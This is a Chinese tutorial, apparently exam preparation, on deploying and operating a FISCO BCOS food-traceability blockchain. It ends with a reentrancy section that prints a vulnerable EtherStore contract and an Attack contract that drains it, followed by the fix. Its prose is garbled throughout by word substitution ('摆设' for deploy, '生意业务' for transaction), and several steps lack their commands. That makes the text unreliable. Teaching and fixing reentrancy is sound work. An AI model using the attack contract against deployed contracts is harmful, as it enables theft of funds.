一、引言
随着分布式账本技能的不停发展,学习区块链这门技能也越来越重要,很多人都开启了学习这项技能,本文深入分析该系统的各个要点,为大家呈现一套完整的学习与实践指南,助力明白区块链在食品溯源范畴的落地应用。
二、系统筹划
1.业务分析与流程筹划
依据给定的区块链食品溯源系统业务架构图,我们需全面考虑业务系统所需模块,运用 Visio 或思维导图工具,清晰显现区块链食品溯源业务平台和支撑平台的根本筹划概念与处置处罚流程。业务平台涵盖角色管理、权限管理、食品管理等多个核心模块,实现对食品从生产到贩卖全流程的信息追踪;支撑平台则包括当地服务器、公有云主机等基础设施,以及 RocksDB、MySQL 等数据存储工具,为业务平台提供稳定支持。
在筹划时,要充分考虑差别用户角色的权限差别。好比,生产商仅能创建生产订单,分销商负责分销订单创建,这种风雅化权限分别确保系统操纵的安全性与规范性。同时,系统的查询功能可让全部用户在数据脱敏后获取相干信息,保障信息透明与共享。
2.总体功能概览图筹划
系统的总体功能围绕用户和溯源订单展开,涉及贩卖、收购、运输、生产等流程。在 Visio 或其他筹划工具中,我们可以将用户信息、权限、各类订单以及智能合约等元素有机结合,构建出清晰的功能概览图。例如,以用户为中心,连接其对应的操纵权限和订单管理功能,直观展示系统中各元素的交互关系,帮助开发者和使用者快速明白系统团体运作逻辑。
三、系统摆设与运维
1.区块链系统搭建与验证
1.1配置网络
提示:如果已经搭建完成(即有nodes目录,node4目录),删除rm -rf nodes node4,继续搭建。
- rm:即 "remove"(删除),用于删除文件或目录。
- -r(或 --recursive):递归删除目录及其所有内容(包括子目录和文件)。
- -f(或 --force):强制删除,不提示确认,即使文件是只读的或不存在。
复制代码
1.2摆设网络
运行命令:
- bash build_chain.sh -l 127.0.0.1:4 -p 30300,20200,8545 -e ./fisco-bcos -v 2.8.0
复制代码
- bash build_chain.sh:使用 bash 解释器执行 build_chain.sh 脚本。
- -l 127.0.0.1:4:指定要摆设的节点列表。在这个例子中,127.0.0.1:4 表示在当田主机(127.0.0.1)上摆设 4 个节点。
- -p 30300,20200,8545:指定节点的端口号。这些端口通常用于节点的 P2P 通信、RPC 调用和通道通信。
- -30300:通常用于 P2P 通信。
- 20200:通常用于 RPC 调用。
- 8545:通常用于 WebSocket 通信或 JSON-RPC 调用。
- -e ./fisco-bcos:指定 FISCO BCOS 可执行文件的路径。
- -v 2.8.0:指定 FISCO BCOS 的版本号。在这个例子中,使用的是 2.8.0 版本。
1.3 启动网络节点(搭建完成会天生node目录)
- bash nodes/127.0.0.1/start_all.sh
复制代码
- start_all.sh:这是一个用于启动全部节点的脚本文件。执行这个脚本会启动指定目录下的全部节点。
1.4验证区块链节点进程运行状况
1.4.1检查进程
- ps -ef | grep -v grep | grep fisco-bcos
复制代码
- ps -ef:
- ps:用于显示当前进程状态的命令。
- -ef:选项组合,-e 显示全部进程,-f 显示完整格式(包括进程的详细信息,如 UID、PID、PPID、C、STIME、TTY、TIME、CMD)。
- grep -v grep:
- grep:用于搜索文本的工具。
- -v:反向匹配,即显示不包含指定模式的行。
- grep:搜索包含 “grep” 的行,这通常用于过滤掉 grep 自身的进程,因为 grep 命令也会出如今 ps -ef 的输出中。
- grep fisco-bcos:
- 进一步过滤 ps -ef 的输出,只显示包含 “fisco-bcos” 的行。这通常用于查找与 FISCO BCOS 相干的进程。
1.5验证区块链连接状态和共识状态日志 输出
- tail -f nodes/127.0.0.1/node0/log/log* | grep connected
- tail -f nodes/127.0.0.1/node0/log/log* | grep +++++
复制代码
- tail -f nodes/127.0.0.1/node0/log/log*:
- tail:用于检察文件的末端部分。
- -f:选项,表示 “follow”,即实时跟踪文件的变革并输出新内容。
- nodes/127.0.0.1/node0/log/log*:指定要监控
的日志 文件。这里的 log* 是一个通配符,表示监控 全部以 log 开头的文件。
- | grep connected:
- |:管道符,用于将前一个命令的输出传递给下一个命令。
- grep connected:过滤输出,只显示包含 “connected” 的行
- grep +++++:过滤输出,只显示包含连续五个加号 +++++ 的行。
2.区块链系统管理平台搭建与运维
2.1搭建管理平台
1.解压 console.tar.gz 文件
- -z:使用 gzip 解压缩(针对 .gz 扩展名)。
- -x:从归档文件中解压内容。
- -v:显示详细过程(列出正在解压的文件名)。
- -f:指定要操纵的文件名(这里是 console.tar.gz)
2.配置控制台证书,将相干证书文件复制到指定目录
- cp -n console/conf/config-example.toml console/conf/config.toml
复制代码
- -n:这是–no-clobber的简写形式,其功能是防止覆盖已存在的文件。
3.修改配置文件中的参数,如日志 级别、存储阈值等
- cp -r nodes/127.0.0.1/sdk/* console/conf/
复制代码
- -r:意思是递归复制,也就是会复制目录及其下面的全部子目录和文件。
- 源路径nodes/127.0.0.1/sdk/:这里的是通配符,表示sdk目录下的全部文件和子目录,但不包括隐蔽文件(要是你想包含隐蔽文件,可以使用nodes/127.0.0.1/sdk/.[!.]* nodes/127.0.0.1/sdk/*)。
- 目标路径console/conf/:要保证这个目录是存在的,否则复制操纵会失败。
操纵截图:
4.启动控制台
- cd console && bash start.sh
复制代码
5.使用控制台摆设 HelloWorld 智能合约
5.1摆设合约
注意:此处需记录合约地点。
5.2调用set 方法的操纵(注意合约地点要用上一步摆设的合约地点)
- call HelloWorld 0x26255782cf37d290a00efaa4ca1201b1ff9be081 set "Hello,BlockChain"
复制代码
5.3调用get 方法
- call HelloWorld 0x26255782cf37d290a00efaa4ca1201b1ff9be081 get
复制代码
6.使用控制台检察区块链中区块高度
命令:getBlockNumber
2.2节点运维
1.获取区块链节点输出品级为警告级,并设置日志存储阈值为 100MB 并验证。
1.1修改配置文件
- cd /root/tools/nodes/127.0.0.1/ && vim node0/config.ini
复制代码
1.2重新启动节点node0,使配置文件见效。
- bash node0/stop.sh && node0/start.sh
复制代码 注意检察路径
2.通过给定工具(地点/root/tools)完成新节点(node4)配置
2.1使用gen_node_cert.sh 天生新节点node4
- cd /root/tools/ && bash gen_node_cert.sh -c nodes/cert/agency -o node4
复制代码
- -c nodes/cert/agency:
- -c参数一般代表 “CA 目录” 大概 “证书颁发机构目录”。
- 这表明脚本会到nodes/cert/agency目录中去探求根证书大概中间证书,以此来签署新天生的节点证书。
- -o node4:
- -o参数通常表示 “输出” 大概 “节点名称”。
- 这意味着脚本会天生与node4相干的证书文件,可能会天生像node4.crt、node4.key这样的文件,大概把证书输出到node4目录。
2.2将新节点node4复制到节点群nodes目录下。
- cp -r ./node4/ nodes/127.0.0.1/
复制代码
2.3将node0中的文件复制到node4中
- cd nodes/127.0.0.1/ && cp node0/config.ini node0/start.sh node0/stop.sh node4/
复制代码
2.4修改node4/config.ini
- 对于[rpc]模块,修改 channel_listen_port 和 jsonrpc_listen_port;
- 对于[p2p]模块,修改 listen_port 并在 node.中增加自身节点信息;
2.5复制群组配置信息
注意空格
- cp node1/conf/group.1.genesis node4/conf/ && cp node1/conf/group.1.ini node4/conf/
复制代码
3.启动新节点加入区块链系统并验证
3.1启动新节点
- cd node4 && bash stop.sh && bash start.sh
复制代码
3.2检查新节点连接情况
- tail -f node4/log/log* | grep P2P
复制代码
如果没有响应的话需要将node4节点的level改成info
4.设置黑名单
4.1检察node0 节点的连接状态日志(现有4 个节点连接)
注意:如果查询不到连接状态,修改node0 的配置文件中的日志级别为info,并重新启动节点
- tail -f node0/log/log* | grep connected
复制代码
4.2编辑节点node0 的config.ini 文件,将node3 设为黑名单禁止连接
编辑 certificate_blacklist,设置 node3 节点 ID 为黑名单。
检察node3 的节点ID(cat nodes/127.0.0.1/node3/conf/node.nodeid)
crl.0 的解释;要删除(即把前置的分号删除)
4.3重新启动节点
- bash node0/stop.sh && node0/start.sh
复制代码
4.4检察 node0 节点的连接状态日志(现有 3 个节点连接)
- tail -f node0/log/log* | grep connected
复制代码
4.5 重复操纵(1)-(4)完成 node1 节点配置和验证
4.6 重复操纵(1)-(4)完成 node2 节点配置和验证
4.7 重复操纵(1)-(4)完成 node4 节点配置和验证
5.配置生意业务限制
5.1 启动控制台:
注意切换目录
5.2设置区块打包最大生意业务数目为 2000
- setSystemConfigByKey tx_count_limit 2000
复制代码
5.3验证区块最大打包生意业务数目情况
- getSystemConfigByKey tx_count_limit
复制代码
四、系统测试
1.测试流程筹划与可视化平台操纵
1.1启动区块链系统可视化一体平台
- python3 deploy.py startAll
复制代码
注意切换目录
实现基于欣赏器测试启动情况验证(访问地点 http://{服务端 IP}:5000)
1.2通过可视化平台天生包括生产商(Producer)、经销商(distributor)、零售商(retailer)账户,并将账户以 p12 加密形式导出后倒入指定前置可视化平台,验证地点一致性。
- A.验证 producer 地点一致
- B. 验证distributor 地点一致
- C.验证retailer 地点一致
2.接口功能验证
2.1使用 Postman 对上述功能接口进行验证
2.2需要将完整的合约摆设到fisco上以及启动后端的工程项目。
在/root/tools/目录下启动webase:
命令:python3 deploy.py startAll
通过127.0.0.1:5002/WeBASE-Front启动webase-front
在/root/peoject/目录下启动项目,检查配置文件conf.properties中的合约和用户信息是否与webase-front一致。
运行trace的jar包项目,如下图:
如果地点已经被占用,使用pkill -9 nginx
对食品溯源系统服务端“添加食品”(/produce)功能接口进行验证
3.压力测试
参照工程项目,使用 Caliper 测试工具对食品安全溯源系统智能合约天生新食品(newFood)功能进行压力测试
提醒: 在/root/tools/ webase-deploy目录下启动webase: 命令:python3 deploy.py startAll
- vim /opt/bencahmarks/caliper-benchmark/networks/fisco-bcos/test-nw/fisco-bcos.json
复制代码 命令便捷检察网络配置是否是下图所示一致,一致即执行,不一致即修改为如下配置:
在/opt/benchmarks目录下执行命令:
- npx caliper benchmark run --caliper-workspace caliper-benchmarks --caliper-benchconfig benchmarks/samples/fisco-bcos/trace/config.yaml --caliper-networkconfig networks/fisco-bcos/test-nw/fisco-bcos.json
复制代码 运行效果:
欣赏器输入 /opt/benchmarks/caliper-benchmarks/report.html 打开陈诉文件
4.智能合约安全漏洞测试
- 漏洞分析:分析给定智能合约,发现存在 “重入” 漏洞。在转账操纵中,由于调用智能合约的转账操纵需要打包后才见效,可能导致重复提现,使其他合约账户资金安全受到威胁。
- 漏洞复现:使用 truffle 工具编写测试用例,在对应项目目录下执行 “truffle test test/ReEntrancy.js”,成功复现漏洞,证明漏洞的存在及其危害。
- 漏洞修复与测试:创建新的智能合约修复漏洞,如在 withdraw () 方法中先将账户余额清零,再进行转账操纵。使用同样的测试用例执行 “truffle test test/ReEntrancyRepair.js” 进行测试,若出现 “Error: VM Exception while processing transaction: revert Failed to send Ether” 等错误,表明修复成功,有效提升智能合约的安全性。
打开Ganache。运行测试

VScode 打开合约漏洞工程 /home/zgxt/security/ReEntrancy

有如下题目智能合约:
- pragma solidity >=0.8.3;
- contract EtherStore {
- mapping(address => uint) public balances;
- function deposit() public payable {
- balances[msg.sender] += msg.value;
- emit Balance(balances[msg.sender]);
- }
- function withdraw() public {
- uint bal = balances[msg.sender];
- require(bal > 0);
- (bool sent, ) = msg.sender.call{value: bal}("");
- require(sent, "Failed to send Ether");
- balances[msg.sender] = 0;
- }
- // Helper function to check the balance of this contract
- function getBalance() public view returns (uint) {
- return address(this).balance;
- }
- }
- contract Attack {
- EtherStore public etherStore;
- constructor(address _etherStoreAddress) {
- etherStore = EtherStore(_etherStoreAddress);
- }
- // Fallback is called when EtherStore sends Ether to this contract.
- fallback() external payable {
- if (address(etherStore).balance >= 1) {
- etherStore.withdraw();
- }
- }
- function attack() external payable {
- require(msg.value >= 1);
- etherStore.deposit{value: 1}();
- etherStore.withdraw();
- }
- // Helper function to check the balance of this contract
- function getBalance() public view returns (uint) {
- return address(this).balance;
- }
- }
复制代码 在/home/zgxt/security/ReEntrancy/migrations文件夹中的3_initial_ReEntrancy.js文件加入代码摆设的执行代码

/home/zgxt/security/ReEntrancy/test/ReEntrancy.js具体测试用例代码如下:

命令:truffle test test/ReEntrancy.js
当有如下执行返回阐明复现成功:

创建新的智能合约,修复其中题目,阐明修复内容并测试。
- 如下为具体修改内容,主要修复点为withdraw()的体现方法,具体操作为先将账户清零,再转账
复制代码
使用同样的测试用例进行操纵,如下为测试用例:
命令:truffle test test/ReEntrancyRepair.js
运行效果:
总结
在实际操纵中,每个环节都精密相连,任何一个小的失误都可能影响系统的团体运行。盼望本文能为大家在区块链学习与实践中提供有益参考,助力大家在相干范畴不停探索和进步。
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
|